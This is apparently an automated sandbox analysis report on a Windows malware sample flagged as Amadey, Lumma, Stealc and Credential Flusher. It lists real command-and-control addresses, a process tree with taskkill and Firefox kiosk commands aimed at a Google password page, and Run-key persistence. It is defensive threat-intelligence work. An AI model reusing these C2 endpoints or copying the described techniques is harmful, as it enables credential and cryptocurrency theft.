Edit tour

Windows Analysis Report
ykDoK8BtxW.exe

Overview

General Information

Sample name:	ykDoK8BtxW.exe renamed because original name is a hash value
Original sample name:	7cfe878555b8cc04fc52385219b423d7.exe
Analysis ID:	1546397
MD5:	7cfe878555b8cc04fc52385219b423d7
SHA1:	cff23beb3f3223610a37a9b52d3b9495438c5c1f
SHA256:	51c35cc8bfc37189048a0454992f30143289dcace11c5fc108db47e91f467bd0
Tags:	32exetrojan
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ykDoK8BtxW.exe (PID: 5352 cmdline: "C:\Users\user\Desktop\ykDoK8BtxW.exe" MD5: 7CFE878555B8CC04FC52385219B423D7)

skotes.exe (PID: 1748 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 7CFE878555B8CC04FC52385219B423D7)

ff3d383111.exe (PID: 5960 cmdline: "C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe" MD5: 90A33D2FA972C6879876CFD76B3BB7F2)

51BTKCWY8DV7OGJHONB1TD.exe (PID: 7760 cmdline: "C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe" MD5: 69621666073B77F9D5D771808DC1A7A6)

7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe (PID: 1368 cmdline: "C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe" MD5: BEB2473D97E708D93AFB6AA83B597406)

6e2c49386e.exe (PID: 1076 cmdline: "C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe" MD5: 508DC49E57681EA817BD36F9770AD609)

67333e07f4.exe (PID: 7392 cmdline: "C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe" MD5: 8BF1CFA7A41EFE5704ABCEED80C69AB5)

taskkill.exe (PID: 7476 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7576 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7640 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7704 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7768 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7824 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 7644 cmdline: "C:\Users\user\AppData\Local\Temp\1002978001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

9c961c26ae.exe (PID: 7308 cmdline: "C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe" MD5: 508DC49E57681EA817BD36F9770AD609)

skotes.exe (PID: 3612 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7CFE878555B8CC04FC52385219B423D7)

skotes.exe (PID: 4588 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7CFE878555B8CC04FC52385219B423D7)

ff3d383111.exe (PID: 7336 cmdline: "C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe" MD5: 90A33D2FA972C6879876CFD76B3BB7F2)

3037R2U7Z5DR93TNCEXVFKDF.exe (PID: 3020 cmdline: "C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe" MD5: 69621666073B77F9D5D771808DC1A7A6)

UZBCRYPU48GDO3ZVW9XB351D36.exe (PID: 7272 cmdline: "C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe" MD5: BEB2473D97E708D93AFB6AA83B597406)

firefox.exe (PID: 7860 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7880 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8128 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2252 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f00b1ec6-11cd-45b2-bfc2-9bdb63de9eab} 7880 "\\.\pipe\gecko-crash-server-pipe.7880" 16ba486dd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1076 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3132 -parentBuildID 20230927232528 -prefsHandle 2956 -prefMapHandle 3660 -prefsLen 26208 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6852bc5e-f575-47e1-8a9b-615e72a256ad} 7880 "\\.\pipe\gecko-crash-server-pipe.7880" 16ba4882d10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

6e2c49386e.exe (PID: 7672 cmdline: "C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe" MD5: 508DC49E57681EA817BD36F9770AD609)

67333e07f4.exe (PID: 1852 cmdline: "C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe" MD5: 8BF1CFA7A41EFE5704ABCEED80C69AB5)

taskkill.exe (PID: 3520 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1404 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5960 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7768 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7268 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5740 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3120 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3484 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2268 -prefMapHandle 2252 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ec19fbe6-5676-42fb-b5cd-139fd98d46db} 3120 "\\.\pipe\gecko-crash-server-pipe.3120" 1698bf71110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 2692 cmdline: "C:\Users\user\AppData\Local\Temp\1002978001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

ff3d383111.exe (PID: 7632 cmdline: "C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe" MD5: 90A33D2FA972C6879876CFD76B3BB7F2)

skotes.exe (PID: 7820 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7CFE878555B8CC04FC52385219B423D7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["navygenerayk.store", "crisiwarny.store", "presticitpo.store", "founpiuer.store", "thumbystriw.store", "necklacedmny.store", "fadehairucw.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1002978001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.1928139125.0000000000E9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.1701815777.00000000002B1000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2235783567.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.1993668859.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.2098127284.0000000005200000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000003.2259361339.0000000004D50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2035432368.0000000000B31000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1680029755.0000000001210000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.1886057556.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2009268838.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1675550950.0000000001100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000003.1863927801.0000000001226000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2031020913.0000000001005000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000000.2019490757.0000000000B31000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2238114633.0000000000EF1000.00000040.00000001.01000000.00000016.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2009379322.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1699514471.00000000032D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002B.00000003.2298930667.0000000001160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.1975746842.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2047550993.0000000004A50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1901487712.0000000001226000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2035495629.000000000100D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000003.2178218988.0000000004880000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000003.1863552145.0000000001226000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000002.2220280024.00000000002B1000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2036279915.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1651068675.00000000015C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2049712419.00000000014FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1881342956.0000000001226000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1878298115.0000000001226000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000000.2019585146.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2031020913.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1864263167.0000000001226000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.1993515475.000000000100D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2008006640.0000000001010000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2050299631.0000000001016000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1681719913.00000000002B1000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.1926357964.00000000002D1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1895415115.0000000001226000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.2136296360.00000000002D1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1671051580.0000000000781000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000000.2187544933.0000000000B31000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.1975545494.000000000100D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000023.00000000.2187639140.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2139181992.0000000000D4B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ff3d383111.exe PID: 5960	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ff3d383111.exe PID: 5960	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ff3d383111.exe PID: 5960	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6e2c49386e.exe PID: 1076	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 6e2c49386e.exe PID: 1076	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ff3d383111.exe PID: 7336	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ff3d383111.exe PID: 7336	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ff3d383111.exe PID: 7336	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 67333e07f4.exe PID: 7392	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 9c961c26ae.exe PID: 7308	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 52 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.6e2c49386e.exe.2d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
27.0.num.exe.b30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
29.2.9c961c26ae.exe.ef0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.6e2c49386e.exe.2d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
34.2.7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.2b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.num.exe.b30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
35.0.num.exe.b30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.skotes.exe.2b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.2b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.ykDoK8BtxW.exe.780000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1748, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ff3d383111.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1748, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ff3d383111.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:16.252922+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49735	TCP
2024-10-31T20:52:55.794806+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.4	49790	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:14.321018+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T20:52:15.739250+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	188.114.97.3	443	TCP
2024-10-31T20:52:17.893309+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	188.114.97.3	443	TCP
2024-10-31T20:52:19.377633+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	188.114.97.3	443	TCP
2024-10-31T20:52:20.965785+0100	2028371	3	Unknown Traffic	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-31T20:52:23.331923+0100	2028371	3	Unknown Traffic	192.168.2.4	49751	188.114.97.3	443	TCP
2024-10-31T20:52:26.991986+0100	2028371	3	Unknown Traffic	192.168.2.4	49752	188.114.97.3	443	TCP
2024-10-31T20:52:27.768418+0100	2028371	3	Unknown Traffic	192.168.2.4	49753	188.114.97.3	443	TCP
2024-10-31T20:52:29.113352+0100	2028371	3	Unknown Traffic	192.168.2.4	49755	188.114.97.3	443	TCP
2024-10-31T20:52:30.559920+0100	2028371	3	Unknown Traffic	192.168.2.4	49757	188.114.97.3	443	TCP
2024-10-31T20:52:31.862788+0100	2028371	3	Unknown Traffic	192.168.2.4	49760	188.114.97.3	443	TCP
2024-10-31T20:52:32.418610+0100	2028371	3	Unknown Traffic	192.168.2.4	49765	188.114.97.3	443	TCP
2024-10-31T20:52:34.614212+0100	2028371	3	Unknown Traffic	192.168.2.4	49769	188.114.97.3	443	TCP
2024-10-31T20:52:39.208456+0100	2028371	3	Unknown Traffic	192.168.2.4	49775	188.114.97.3	443	TCP
2024-10-31T20:52:43.050836+0100	2028371	3	Unknown Traffic	192.168.2.4	49779	188.114.97.3	443	TCP
2024-10-31T20:52:44.512282+0100	2028371	3	Unknown Traffic	192.168.2.4	49783	188.114.97.3	443	TCP
2024-10-31T20:53:02.778272+0100	2028371	3	Unknown Traffic	192.168.2.4	49816	188.114.97.3	443	TCP
2024-10-31T20:53:05.124445+0100	2028371	3	Unknown Traffic	192.168.2.4	49832	188.114.97.3	443	TCP
2024-10-31T20:53:06.677823+0100	2028371	3	Unknown Traffic	192.168.2.4	49857	188.114.97.3	443	TCP
